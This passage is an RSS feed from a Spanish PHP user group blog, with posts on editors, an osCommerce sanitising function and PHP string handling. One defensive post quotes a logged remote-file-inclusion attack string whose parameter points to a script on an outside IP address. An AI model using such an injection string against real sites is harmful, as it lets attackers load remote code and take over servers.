<?xml version="1.0" encoding="UTF-8"?>
<!-- generator="wordpress/2.2.1" -->
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>

<channel>
	<title>Granada PHP</title>
	<link>http://granadaphp.agenciaq4.com</link>
	<description>Grupo granadino de programación web con PHP principalmente</description>
	<pubDate>Sun, 22 Nov 2009 18:55:05 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.2.1</generator>
	<language>en</language>
			<item>
		<title>Programadores php</title>
		<link>http://granadaphp.agenciaq4.com/?p=69</link>
		<comments>http://granadaphp.agenciaq4.com/?p=69#comments</comments>
		<pubDate>Wed, 04 Nov 2009 21:29:00 +0000</pubDate>
		<dc:creator>programadorphp</dc:creator>
		
		<category><![CDATA[OsCommerce]]></category>

		<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://granadaphp.agenciaq4.com/?p=69</guid>
		<description><![CDATA[Hola de nuevo por aquí. Soy programador php freelance y necesito publicitarme un poco.
PERFIL: php4 y 5, smarty, xhtml, javascript, funcionalidad en todos los navegadores, programación orientada a objetos, osCommerce, PrestaShop,etc&#8230;
Mis datos de contacto están en programadorphp.org
Ánimo, hay mucho buen rollo!!
]]></description>
			<content:encoded><![CDATA[<p>Hola de nuevo por aquí. Soy programador php freelance y necesito publicitarme un poco.</p>
<p>PERFIL: php4 y 5, smarty, xhtml, javascript, funcionalidad en todos los navegadores, programación orientada a objetos, osCommerce, PrestaShop,etc&#8230;</p>
<p>Mis datos de contacto están en <a href="http://programadorphp.org">programadorphp.org</a></p>
<p>Ánimo, hay mucho buen rollo!!</p>
]]></content:encoded>
			<wfw:commentRss>http://granadaphp.agenciaq4.com/?feed=rss2&amp;p=69</wfw:commentRss>
		</item>
		<item>
		<title>Un nuevo editor&#8230;quizás el definitivo&#8230;Komodo</title>
		<link>http://granadaphp.agenciaq4.com/?p=72</link>
		<comments>http://granadaphp.agenciaq4.com/?p=72#comments</comments>
		<pubDate>Tue, 05 May 2009 11:39:49 +0000</pubDate>
		<dc:creator>juan_belon</dc:creator>
		
		<category><![CDATA[Editores]]></category>

		<guid isPermaLink="false">http://granadaphp.agenciaq4.com/?p=72</guid>
		<description><![CDATA[Así es como nos gusta sentirnos a los programadores ,cómodos! jejeje
Adjunto un screenshot de la diferencia entre 2 editores: Zend Development Environment 5 y Komodo Edit 5.

Lo bueno de Komodo es que puedes hacer lo mismo que con ZDE, crear un proyecto , añadirle una carpeta virtul (la roja) y luego sobre ella importar el [...]]]></description>
			<content:encoded><![CDATA[<p>Así es como nos gusta sentirnos a los programadores ,cómodos! jejeje</p>
<p>Adjunto un screenshot de la diferencia entre 2 editores: Zend Development Environment 5 y Komodo Edit 5.</p>
<p><a href="http://granadaphp.agenciaq4.com/wp-content/uploads/php_zend_eclipse_8.png"  title="php_zend_eclipse_8.png" rel="lightbox"><img src="http://granadaphp.agenciaq4.com/wp-content/uploads/php_zend_eclipse_8.thumbnail.png" alt="php_zend_eclipse_8.png" /></a></p>
<p>Lo bueno de Komodo es que puedes hacer lo mismo que con ZDE, crear un proyecto , añadirle una carpeta virtul (la roja) y luego sobre ella importar el contenido de un servidor remoto, por ejemplo FTP. Y así trabajar con el contenido online para modificarlo directamente viendo los resultados así como ,al no estar hecho en Java es mucho más rápido para trabajar, trae soporte de cualquier lenguaje y es SOFTWARE LIBRE!! siiiiiii</p>
<p>Lo único que no veo soporte para plugins tipo Vim, ni una lista de la jerarquía de clases,funciones, variables y constantes,pero todo se andará, la comunidad está ahi para ayudar jejeje</p>
<p>y sino se moriraáaaaan XD</p>
]]></content:encoded>
			<wfw:commentRss>http://granadaphp.agenciaq4.com/?feed=rss2&amp;p=72</wfw:commentRss>
		</item>
		<item>
		<title>Probando las nuevas versiones de Zend Studio</title>
		<link>http://granadaphp.agenciaq4.com/?p=70</link>
		<comments>http://granadaphp.agenciaq4.com/?p=70#comments</comments>
		<pubDate>Wed, 29 Apr 2009 10:31:00 +0000</pubDate>
		<dc:creator>juan_belon</dc:creator>
		
		<category><![CDATA[Editores]]></category>

		<category><![CDATA[Optimización]]></category>

		<guid isPermaLink="false">http://granadaphp.agenciaq4.com/?p=70</guid>
		<description><![CDATA[He estado probando las versiones de editores de la familia Zend Studio, en su versión del extendido proyecto Eclipse, y me he decepcionado con la 6.0.0&#8230; :/
Empezando porque tarda muchísimo en cargar, al cargar un proyecto por FTP es lento hasta decir basta, y eso que dispongo de un buen ordenador, con 2GB de memoria [...]]]></description>
			<content:encoded><![CDATA[<p>He estado probando las versiones de editores de la familia Zend Studio, en su versión del extendido proyecto Eclipse, y me he decepcionado con la 6.0.0&#8230; :/</p>
<p>Empezando porque tarda muchísimo en cargar, al cargar un proyecto por FTP es lento hasta decir basta, y eso que dispongo de un buen ordenador, con 2GB de memoria ,Core 2 Dúo y conexión de banda ancha&#8230;</p>
<p>Sobre todo a la hora de construir la jerarquía de clase, lo que el IDE llama "Build Project", que lo que hace es escanear todos los ficheros de proyecto y analizarlos sintáctimente con el lenguaje que tenga, HTML,PHP, JScript, etc. Esto es sumamente tedioso cuando tienes miles de ficheros y además se sincronizan por FTP, si además cambias algo externamente trae un activador de este evento que hace que se vuelva a lanzar el proces, la captura trae el caso en que se queda totalmente colgado esperando&#8230;no se a qué&#8230;pero que da mucho que pensar, desde luego me quedo con la versión antigüa, la de la izquierda jajaj</p>
<p><a href="http://granadaphp.agenciaq4.com/wp-content/uploads/php_zend_eclipse_6.png"  title="Captura - Zend Studio 6 Colgado" rel="lightbox"><img src="http://granadaphp.agenciaq4.com/wp-content/uploads/php_zend_eclipse_6.thumbnail.png" alt="Captura - Zend Studio 6 Colgado" /></a></p>
<p>Porque quien tiene tiempo para ver como construye el/los proyecto/s mientras las anteriores versioneslo hacian muchísimo más rápido y sin consumir tantos recursos?</p>
<p>En qué estarán pensando estos programadores&#8230;ayyyyyyyy</p>
]]></content:encoded>
			<wfw:commentRss>http://granadaphp.agenciaq4.com/?feed=rss2&amp;p=70</wfw:commentRss>
		</item>
		<item>
		<title>Limpiando entradas de datos de usuario en OsCommerce</title>
		<link>http://granadaphp.agenciaq4.com/?p=68</link>
		<comments>http://granadaphp.agenciaq4.com/?p=68#comments</comments>
		<pubDate>Thu, 02 Oct 2008 07:53:24 +0000</pubDate>
		<dc:creator>juan_belon</dc:creator>
		
		<category><![CDATA[OsCommerce]]></category>

		<category><![CDATA[Técnicas]]></category>

		<category><![CDATA[Funciones]]></category>

		<guid isPermaLink="false">http://granadaphp.agenciaq4.com/?p=68</guid>
		<description><![CDATA[Como echaba en falta una función decente para eliminar caracteres extraños, he creado esta opción para la función de OsCommerce "tep_sanitize_string" , de forma que ahora además tenga un modo "paranoid" con el que sólo nos deje el texto y nada más&#8230;para campos peligrosos como para pasarelas de pago y demás es encantador jejeje
Nos vamos [...]]]></description>
			<content:encoded><![CDATA[<p>Como echaba en falta una función decente para eliminar caracteres extraños, he creado esta opción para la función de OsCommerce "tep_sanitize_string" , de forma que ahora además tenga un modo "paranoid" con el que sólo nos deje el texto y nada más&#8230;para campos peligrosos como para pasarelas de pago y demás es encantador jejeje</p>
<p>Nos vamos a /catalog/includes/functions/general.php y reemplazamos la función tep_sanitize_string por esta:</p>
<div id="phpizer_div_1" class="code">
<code><span style="color: #000000"><br />
<span style="color: #0000BB">&lt;?php<br /></span><span style="color: #007700">function&nbsp;</span><span style="color: #0000BB">tep_sanitize_string</span><span style="color: #007700">(</span><span style="color: #0000BB">$string</span><span style="color: #007700">,</span><span style="color: #0000BB">$paranoid</span><span style="color: #007700">=</span><span style="color: #0000BB">false</span><span style="color: #007700">)&nbsp;{<br />
</span><span style="color: #0000BB">$string&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">ereg_replace</span><span style="color: #007700">(</span><span style="color: #DD0000">&#8216;&nbsp;+'</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">&#8216;&nbsp;'</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">trim</span><span style="color: #007700">(</span><span style="color: #0000BB">$string</span><span style="color: #007700">));<br />
if&nbsp;(!</span><span style="color: #0000BB">$paranoid</span><span style="color: #007700">)<br />
return&nbsp;</span><span style="color: #0000BB">preg_replace</span><span style="color: #007700">(</span><span style="color: #DD0000">"/[&amp;lt;&amp;gt;]/"</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">&#8216;_'</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$string</span><span style="color: #007700">);<br />
else&nbsp;{<br />
</span><span style="color: #0000BB">$string&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">preg_replace</span><span style="color: #007700">(</span><span style="color: #DD0000">&#8216;/&amp;lt;(.|\s)*?&amp;gt;/'</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$string</span><span style="color: #007700">);<br />
</span><span style="color: #0000BB">$string&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">str_replace</span><span style="color: #007700">(</span><span style="color: #DD0000">&#8216;&amp;lt;'</span><span style="color: #007700">,</span><span style="color: #DD0000">"</span><span style="color: #007700">,</span><span style="color: #0000BB">$string</span><span style="color: #007700">);<br />
</span><span style="color: #0000BB">$string&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">str_replace</span><span style="color: #007700">(</span><span style="color: #DD0000">&#8216;&amp;gt;'</span><span style="color: #007700">,</span><span style="color: #DD0000">""</span><span style="color: #007700">,</span><span style="color: #0000BB">$string</span><span style="color: #007700">);<br />
return&nbsp;</span><span style="color: #0000BB">ereg_replace</span><span style="color: #007700">(</span><span style="color: #DD0000">&#8216;(([^0-9a-z&amp;lt;&amp;gt;A-Z_\.\&nbsp;\@])+)'</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">""</span><span style="color: #007700">,</span><span style="color: #0000BB">$string</span><span style="color: #007700">);<br />
}<br />
}<br />
<br /></span><span style="color: #0000BB">?&gt;<br /></span><br />
</span><br />
</code></div>
]]></content:encoded>
			<wfw:commentRss>http://granadaphp.agenciaq4.com/?feed=rss2&amp;p=68</wfw:commentRss>
		</item>
		<item>
		<title>XSS : Ataques spam mediante scripts PHP en una url</title>
		<link>http://granadaphp.agenciaq4.com/?p=67</link>
		<comments>http://granadaphp.agenciaq4.com/?p=67#comments</comments>
		<pubDate>Mon, 02 Jun 2008 12:25:03 +0000</pubDate>
		<dc:creator>juan_belon</dc:creator>
		
		<category><![CDATA[Hacking]]></category>

		<guid isPermaLink="false">http://granadaphp.agenciaq4.com/?p=67</guid>
		<description><![CDATA[He recibido más ataques en los dominios de los que soy responsable,&#8230;esta vez usando un ataque de esta forma
index.php?com=http://207.234.200.112/css/style/style.txt?contacto
intentan colar un script para subir ficheros&#8230;dentro de una variable&#8230;
tenedlo en cuenta, parsear bien las entradas! $_GET, $_POST, etc. 
]]></description>
			<content:encoded><![CDATA[<p>He recibido más ataques en los dominios de los que soy responsable,&#8230;esta vez usando un ataque de esta forma</p>
<p>index.php?com=http://207.234.200.112/css/style/style.txt?contacto</p>
<p>intentan colar un script para subir ficheros&#8230;dentro de una variable&#8230;</p>
<p>tenedlo en cuenta, parsear bien las entradas! $_GET, $_POST, etc. <img src='http://granadaphp.agenciaq4.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /></p>
]]></content:encoded>
			<wfw:commentRss>http://granadaphp.agenciaq4.com/?feed=rss2&amp;p=67</wfw:commentRss>
		</item>
		<item>
		<title>Ayuda con cadenas de texto</title>
		<link>http://granadaphp.agenciaq4.com/?p=66</link>
		<comments>http://granadaphp.agenciaq4.com/?p=66#comments</comments>
		<pubDate>Thu, 24 Apr 2008 10:01:00 +0000</pubDate>
		<dc:creator>juan_belon</dc:creator>
		
		<category><![CDATA[Funciones]]></category>

		<guid isPermaLink="false">http://granadaphp.agenciaq4.com/?p=66</guid>
		<description><![CDATA[ 	 	
Todo sobre cadenas de texto
Introducción
Vamos a aprender como encontrar, transformar y borrar palabras ya que es algo así como una tarea esencial de todo ingeniero de aplicaciones web que se precie.Además tomaremos consciencia de los métodos usados para ahorrarnos escribir texto de entrada/salida en nuestras aplicaciones a la hora de crear mecanismos automáticos [...]]]></description>
			<content:encoded><![CDATA[<style type="text/css"> 	<!-- 	* { padding: 0; margin: 0; font: normal 12px "Courier New", sans-serif; } 	body { line-height: 1.5em; color: #000; } 	div#contenedor { clear: both; } 	div#lineas { float: left; width: 4%; background: #eee; font: normal 12px "Courier New", sans-serif; padding-left: 3px; border-right: 1px solid #000; } 	div#codigo { float: right; width: 94%; } 	--> 	</style>
<h3>Todo sobre cadenas de texto</h3>
<h4>Introducción</h4>
<p>Vamos a aprender como encontrar, transformar y borrar palabras ya que es algo así como una tarea esencial de todo ingeniero de aplicaciones web que se precie.Además tomaremos consciencia de los métodos usados para ahorrarnos escribir texto de entrada/salida en nuestras aplicaciones a la hora de crear mecanismos automáticos con los que operar en nuestras aplicaciones.</p>
<p>Verás funciones de este artículo que son bastante simples pero se mencionan por si nunca antes las habias visto, lo estamos haciendo fácil para todos. Las funciones más complejas usan expresiones regulares, una parte muy potente de PHP que todo programador ha de conocer.<br />
<h4>Extraer parte de una cadena</h4>
<p>El problema de un buscador es que se suele buscar en formas plurales y los programadores dándonos cuenta de esto, tenemos que ingeníarnoslas para procesar el texto y hacer que el usuario encuentre lo que busca en la base de datos. Para eliminar las &#8216;s' de una cadena se puede utilizar la función <a href="http://es2.php.net/substr" target="_blank">substr(cadena, inicio, fin)</a> de forma que podemos comprobar si la última letra se debe eliminar con un básico:<br />
if (susbstr( cadena, -1, 1)=='s')</p>
<p>Una vez que has encontrado una subcadena que te interesa hay una serie de operaciones que puedes realizar con ella:
<ul>
<li><strong>Reasignar una porción específica de la cadena</strong> usando substr() para eliminar los caracteres que sobran.<br />
Ejemplo: $cadena = substr($cadena, 0, 10);<br />
Lo que hace es poner en $cadena los 10 primeros caracteres de $cadena,empezando por el primero.</li>
<li><strong>Eliminar los últimos N caracteres</strong> con substring y strlen().<br />
Ejemplo: $cadena = substr($cadena,0 ,strlen($cadena)-3);<br />
Guarda en $cadena todos los caracteres menos los 3 últimos.</li>
<li><strong>Reemplazar caracteres</strong> con <a href="http://es2.php.net/substr_replace" target="_blank">substr_replace(cadena_original, cadena_reemplazo,inicio, longitud)</a> que permite especificar una subcadena y reemplazarla con otra, por ejemplo:<br />
$cadena = substr_replace('abcdef','bbb',1,2)<br />
guarda en $cadena la cadena &#8216;abbbdef'</li>
</ul>
<h4>Operaciones con Mayúsculas y Minúsculas</h4>
<p>Un problema que puede surgir con PHP y MySQL es que este sistema gestor de bases de datos es sensible a mayúsculas pero soporta campos que no lo son, sin embargo, las cadenas en PHP son sensibles a mayúsculas, asi que prentendemos asegurar que no habrá malentendidos entre ambos y que nos vamos a llevar bien <img src='http://granadaphp.agenciaq4.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> Para ello disponemos de una consulta MySQL donde no hay diferencia entre Juan y JUAN , sin embargo en PHP son dos cadenas distintas, asi que necesitamos pasar toda la cadena en este lenguaje a mayúsculas antes de compararlas o imprimirlas por pantalla.<br />
PHP tiene varias funciones esenciales para realizar este tipo de tareas:
<ul>
<li><a href="http://es2.php.net/manual/es/function.strtolower.php" target="_blank">strtolower()</a>: pasa toda la cadena a minúsculas</li>
<li><a href="http://es2.php.net/manual/es/function.strtoupper.php" target="_blank">strtoupper()</a>: pasa toda la cadena a mayúsculas</li>
<li><a href="http://es2.php.net/manual/es/function.ucwords.php" target="_blank">ucwords()</a>: convierte la primera letra de cada palabra de la cadena a mayúsculas</li>
<li><a href="http://es2.php.net/manual/es/function.ucfirst.php" target="_blank">ucfirst()</a>: convierte la primera letra la cadena a mayúsculas</li>
</ul>
<p>Ejemplo
<p id="contenedor">&nbsp;</p>
<p id="codigo"><code><font color="#0000bb">&lt;?php</font></code><font color="#0000bb">$cadena </font><font color="#007700">= </font><font color="#dd0000">"HOla qUe Tal CoMo EstAs?"</font><font color="#007700">;</font></p>
<p><font color="#007700">echo </font><font color="#0000bb">strtoupper</font><font color="#007700">(</font><font color="#0000bb">$cadena</font><font color="#007700">);</font></p>
<p><font color="#ff8000">//imprime "HOLA QUE TAL COMO ESTAS?"</font></p>
<p><font color="#007700">echo </font><font color="#0000bb">strtolower</font><font color="#007700">(</font><font color="#0000bb">$cadena</font><font color="#007700">);</font></p>
<p><font color="#ff8000">//imprime "hola que tal como estas?"</font></p>
<p><font color="#007700">echo </font><font color="#0000bb">ucwords</font><font color="#007700">(</font><font color="#0000bb">strtolower</font><font color="#007700">(</font><font color="#0000bb">$cadena</font><font color="#007700">));</font></p>
<p><font color="#ff8000">//usando un truquito para pasar primero la cadena a min�sculas</font></p>
<p><font color="#ff8000">//imprime "Hola Que Tal Como Estas?"</font></p>
<p><font color="#007700">echo </font><font color="#0000bb">ucfirst</font><font color="#007700">(</font><font color="#0000bb">strtolower</font><font color="#007700">(</font><font color="#0000bb">$cadena</font><font color="#007700">));</font></p>
<p><font color="#ff8000">//imprime "Hola que tal como estas?"</font></p>
<p><font color="#0000bb">?&gt;</font></p>
<p>Hemos de tener en cuenta que si nuestra cadena tiene letras separadas por otros caracteres que no sean un espacio,se interpretan como una única palabra, es decir, juan-belon se interpreta como una sóla palabra, para realizar este tipo de conversiones a palabras en esta forma necesitamos crear una expresión regular que detecte dicho formato o algo más fácil,como construir una lista en un array y pasárselo a la función str_replace() como argumento para reemplazarlo. Ejemplo de conversiones que no queremos que se hagan:
<p id="contenedor">&nbsp;</p>
<p id="codigo"><code><font color="#0000bb">&lt;?php</font></code><font color="#007700">function </font><font color="#0000bb">formatear_titulo</font><font color="#007700">(</font><font color="#0000bb">$cadena</font><font color="#007700">){</font></p>
<p><font color="#007700"> </font><font color="#ff8000">//Primero el array de palabras que no queremos que se pasen a may�sculas, pronombres,preposiciones,etc.</font></p>
<p><font color="#ff8000"> </font><font color="#0000bb">$mayusculas </font><font color="#007700">= array(</font><font color="#dd0000">"De"</font><font color="#007700">,</font><font color="#dd0000">"A "</font><font color="#007700">,</font><font color="#dd0000">"El "</font><font color="#007700">,</font><font color="#dd0000">"La "</font><font color="#007700">,</font><font color="#dd0000">"Y "</font><font color="#007700">,</font><font color="#dd0000">"Un "</font><font color="#007700">,</font><font color="#dd0000">"Una "</font><font color="#007700">,</font><font color="#dd0000">"O "</font><font color="#007700">);</font></p>
<p><font color="#007700"> </font><font color="#ff8000">//Ahora el conjunto de reemplazos, en el mismo orden!!</font></p>
<p><font color="#ff8000"> </font><font color="#0000bb">$minusculas  </font><font color="#007700">= array(</font><font color="#dd0000">"de "</font><font color="#007700">,</font><font color="#dd0000">"a "</font><font color="#007700">,</font><font color="#dd0000">"el "</font><font color="#007700">, </font><font color="#dd0000">"la "</font><font color="#007700">,</font><font color="#dd0000">"y "</font><font color="#007700">,</font><font color="#dd0000">"un "</font><font color="#007700">,</font><font color="#dd0000">"una "</font><font color="#007700">,</font><font color="#dd0000">"o "</font><font color="#007700">);</font></p>
<p><font color="#007700"> </font><font color="#0000bb">$cadena </font><font color="#007700">= </font><font color="#0000bb">ucwords</font><font color="#007700">(</font><font color="#0000bb">strtolower</font><font color="#007700">(</font><font color="#0000bb">$cadena</font><font color="#007700">));</font></p>
<p><font color="#007700"> </font><font color="#0000bb">$cadena </font><font color="#007700">= </font><font color="#0000bb">str_replace</font><font color="#007700">(</font><font color="#0000bb">$mayusculas</font><font color="#007700">, </font><font color="#0000bb">$minusculas</font><font color="#007700">, </font><font color="#0000bb">$cadena</font><font color="#007700">);</font></p>
<p><font color="#007700"> </font><font color="#ff8000">//Ahora devolvemos la cadena con la primera letra en may�scula:</font></p>
<p><font color="#ff8000"> </font><font color="#007700">return </font><font color="#0000bb">ucfirst</font><font color="#007700">(</font><font color="#0000bb">$cadena</font><font color="#007700">);</font></p>
<p><font color="#007700">}</font></p>
<p><font color="#0000bb">?&gt;</font></p>
<p>Debemos tener en cuenta que como en el caso anterior, si teníamos una cadena como Juan-Belon, la función ucwords(strtolower()) ha eliminado su mayúscula en Belon, si es importante preservar dichas capitalizacionese entonces puedes usar una comparación mediante la función <a href="http://es2.php.net/manual/es/function.strcasecmp.php" target="_blank">strcasecmp(cadena1, cadena2);</a><br />
<h4>Encontrar subcadenas</h4>
<p>PHP tiene bastantes funciones que permiten encontrar subcadenas en una cadena dada. La elección depende de lo que quieras hacer con el resultado. Algunas funciones básicas:
<ul>
<li><a href="http://es2.php.net/manual/es/function.strpos.php" target="_blank">strpos()</a>:<br />
encuetra la posición de la primera ocurriencia de la subcadena pasada</li>
<li><a href="http://es2.php.net/manual/es/function.strrpos.php" target="_blank">strrpos()</a>: encuentra la posición de la última ocurrencia de la subcadena proporcionada, en la cadena pasada como argumento. A partir de dicha posición se puede extraer el contenido restante con substr() ,o se puede hacer con la siguiente función</li>
<li><a href="http://es2.php.net/manual/es/function.strstr.php" target="_blank">strstr()</a>: devuelve todo  lo que hay después de la primera ocurrencia de la subcadena dada</li>
</ul>
<p>Estas funciones devuelve False si la subcadena no se encuentra presente en la cadena original, hay que llevar cuidado pues la primera ocurrencia puede estar en la posición 0 de la cadena, lo que se puede interpretar como un valor False usado en un condicional, es por eso que debemos usar "===false" en lugar de "==false".<br />
La triple igualdad asegura que los valores y los tipos de los términos del operador de comparación son los mismos, es importante porque puedes obtener valores no esperados como resultado de una comparación.<br />
Veamos un ejemplo:
<p id="contenedor">&nbsp;</p>
<p id="codigo"><code><font color="#0000bb">&lt;?php</font></code><font color="#0000bb">$cadena </font><font color="#007700">= </font><font color="#dd0000">"Yo apruebo todas mis asignaturas porque estudio lo suficiente en mi estudio particular"</font><font color="#007700">;</font></p>
<p><font color="#0000bb">$termino </font><font color="#007700">= </font><font color="#dd0000">"estudio"</font><font color="#007700">;</font></p>
<p><font color="#ff8000">//Aparece el término en la cadena?</font></p>
<p><font color="#0000bb">$pos      </font><font color="#007700">= </font><font color="#0000bb">strpos</font><font color="#007700">(</font><font color="#0000bb">$cadena</font><font color="#007700">, </font><font color="#dd0000">"estudio"</font><font color="#007700">);</font></p>
<p><font color="#007700">if (</font><font color="#0000bb">$pos </font><font color="#007700">=== </font><font color="#0000bb">false</font><font color="#007700">){</font></p>
<p><font color="#007700"> echo </font><font color="#dd0000">"No se ha encontrado el término &#8216;$termino' en la cadena &#8216;$cadena'"</font><font color="#007700">;</font></p>
<p><font color="#007700">} else {</font></p>
<p><font color="#007700"> echo </font><font color="#dd0000">"Se ha encontrado el  el término &#8216;$termino' en la cadena &#8216;$cadena' en la posición: $pos&lt;br&gt;"</font><font color="#007700">;</font></p>
<p><font color="#007700"> echo </font><font color="#dd0000">"Última posición:"</font><font color="#007700">.</font><font color="#0000bb">strval</font><font color="#007700">(</font><font color="#0000bb">strrpos</font><font color="#007700">(</font><font color="#0000bb">$cadena</font><font color="#007700">, </font><font color="#0000bb">$termino</font><font color="#007700">)).</font><font color="#dd0000">"&lt;br&gt;"</font><font color="#007700">;</font></p>
<p><font color="#007700"> echo </font><font color="#0000bb">strstr</font><font color="#007700">(</font><font color="#0000bb">$cadena</font><font color="#007700">, </font><font color="#0000bb">$termino</font><font color="#007700">).</font><font color="#dd0000">"\n"</font><font color="#007700">;</font></p>
<p><font color="#007700"> </font><font color="#ff8000">//Imprime desde el primer "estudio":</font></p>
<p><font color="#ff8000"> </font><font color="#007700">echo </font><font color="#0000bb">substr</font><font color="#007700">(</font><font color="#0000bb">$cadena</font><font color="#007700">, </font><font color="#0000bb">strrpos</font><font color="#007700">(</font><font color="#0000bb">$cadena</font><font color="#007700">,</font><font color="#0000bb">$termino</font><font color="#007700">)).</font><font color="#dd0000">"&lt;br&gt;"</font><font color="#007700">;</font></p>
<p><font color="#007700"> </font><font color="#ff8000">//Imprime "estudio particular"</font></p>
<p><font color="#007700">}</font></p>
<p><font color="#0000bb">?&gt;</font></p>
<p>Recordar que estas funciones son sensibles a mayúsculas, y que se están comparando subcadenas, no palabras, para ello necesitamos construir una expresión regular.<br />
Reemplazar texto es muy útil, de hecho se puede construir un <a href="https://forja.rediris.es/websvn/wsvn/csl2-zenphp/trunk/zenphp/clases/clase_zen_plantilla.php?op=file&amp;rev=0&amp;sc=0" target="_blank">sistema de plantillas</a> con la función str_replace super rápido&#8230;<br />
Ahora vamos a ver un pequeño ejemplo de esto&#8230;<br />
<h4>Notación "Camello"</h4>
<p>Esta notación se utiliza para convertir nombres usados en un programa en nombres para mostrar por la pantalla del usuario.</p>
<p>Algunos frameworks (conjunto de librerias de programación) utilizan mecanismos en clases para pluralizar palabras y formas verbales&#8230;aunque algunas veces estos mecanismos transparentes resultan de lo más complicado de entender gracias a los comicos nombres y formas, como "camellizar" y otras parodias XD
<p id="contenedor">&nbsp;</p>
<p id="codigo"><code><font color="#0000bb">&lt;?php</font></code><font color="#ff8000">/**</font></p>
<p><font color="#ff8000">* Pasa de formato Camel a texto que se puede leer por un humano</font></p>
<p><font color="#ff8000">* @param str $cadena</font></p>
<p><font color="#ff8000">* @return str</font></p>
<p><font color="#ff8000">*/</font></p>
<p><font color="#007700">function </font><font color="#0000bb">humanizar</font><font color="#007700">(</font><font color="#0000bb">$cadena</font><font color="#007700">) {</font></p>
<p><font color="#007700"> return </font><font color="#0000bb">ucfirst</font><font color="#007700">(</font><font color="#0000bb">preg_replace</font><font color="#007700">(</font><font color="#dd0000">&#8216;/([a-z])([A-Z])/'</font><font color="#007700">, </font><font color="#dd0000">&#8216;\1 \2&#8242;</font><font color="#007700">, </font><font color="#0000bb">$cadena</font><font color="#007700">));</font></p>
<p><font color="#007700">}</font></p>
<p><font color="#ff8000">/**</font></p>
<p><font color="#ff8000">* Pasa una cadena a texto en notación "Camel" para usarla en un programa</font></p>
<p><font color="#ff8000">* @param str $cadena</font></p>
<p><font color="#ff8000">* @return str</font></p>
<p><font color="#ff8000">*/</font></p>
<p><font color="#007700">function </font><font color="#0000bb">camellizar</font><font color="#007700">(</font><font color="#0000bb">$cadena</font><font color="#007700">) {</font></p>
<p><font color="#007700">if (!isset(</font><font color="#0000bb">$cadena</font><font color="#007700">[</font><font color="#0000bb">0</font><font color="#007700">])) {</font></p>
<p><font color="#007700"> return </font><font color="#dd0000">"</font><font color="#007700">;</font></p>
<p><font color="#007700">}</font></p>
<p><font color="#0000bb">$cadena </font><font color="#007700">= </font><font color="#0000bb">ucwords</font><font color="#007700">(</font><font color="#0000bb">strtolower</font><font color="#007700">(</font><font color="#0000bb">$cadena</font><font color="#007700">));</font></p>
<p><font color="#0000bb">$cadena </font><font color="#007700">= </font><font color="#0000bb">preg_replace</font><font color="#007700">(</font><font color="#dd0000">&#8216;/[^a-zA-Z0-9]/'</font><font color="#007700">, </font><font color="#dd0000">"</font><font color="#007700">, </font><font color="#0000bb">$cadena</font><font color="#007700">);</font></p>
<p><font color="#0000bb">$cadena</font><font color="#007700">[</font><font color="#0000bb">0</font><font color="#007700">] = </font><font color="#0000bb">strtolower</font><font color="#007700">(</font><font color="#0000bb">$cadena</font><font color="#007700">[</font><font color="#0000bb">0</font><font color="#007700">]);</font></p>
<p><font color="#007700">return </font><font color="#0000bb">$cadena</font><font color="#007700">;</font></p>
<p><font color="#007700">}</font></p>
<p><font color="#0000bb">?&gt;</font></p>
<p>El término CamelCase describe la apariencia de las PalabrasEnCodigo. Varias palabras unidas sin espacios entre sí, mezclando mayúsculas y minúsculas. Las letras mayúsculas y minúsculas se asemejan a las jorobas de un camello, de ahi lo del animalillo XD</p>
<p>Veamos un ejemplo de uso:
<p id="contenedor">&nbsp;</p>
<p id="codigo"><code><font color="#0000bb">&lt;?php</font></code><font color="#0000bb"> </font><font color="#007700">echo </font><font color="#0000bb">humanizar</font><font color="#007700">(</font><font color="#dd0000">&#8216;ejemploTextoCamello'</font><font color="#007700">);</font></p>
<p><font color="#ff8000">// Salida: Ejemplo Texto Camello</font></p>
<p><font color="#007700">echo </font><font color="#0000bb">humanizar</font><font color="#007700">(</font><font color="#dd0000">&#8216;nombreProducto'</font><font color="#007700">);</font></p>
<p><font color="#ff8000">// Salida: Nombre Producto</font></p>
<p><font color="#007700">echo </font><font color="#0000bb">camellizar</font><font color="#007700">(</font><font color="#dd0000">&#8216;Ejemplo Texto Camello'</font><font color="#007700">);</font></p>
<p><font color="#ff8000">// Salida: ejemploTextoCamello</font></p>
<p><font color="#007700">echo </font><font color="#0000bb">camellizar</font><font color="#007700">(</font><font color="#dd0000">&#8216;Nombre - Producto'</font><font color="#007700">);</font></p>
<p><font color="#ff8000">// Salida: nombreProducto</font></p>
<p><font color="#0000bb">?&gt;</font><br />
<h4>Expresiones Regulares</h4>
<p>El tema de las expresiones regulares se sale un poco del tratamiento de cadenas y es algo un poco más complejo que ha de ser tomado con cautela para comprenderlo&#8230;</p>
<p>Algunos ejemplos más podeis verlos en :
<ul>
<li><a href="https://forja.rediris.es/websvn/wsvn/csl2-zenphp/trunk/zenphp/clases/clase_zen_compactador.php?op=file&amp;rev=0&amp;sc=0" target="_blank">Compactadores</a> de HTML</li>
<li><a href="https://forja.rediris.es/websvn/wsvn/csl2-zenphp/trunk/zenphp/funciones/zen_ficheros.php?op=file&amp;rev=0&amp;sc=0" target="_blank">Filtros</a> para guardar ficheros: $fichero = ereg_replace('(([^0-9a-zA-Z_\.])+)', "",basename($f[$i]));</li>
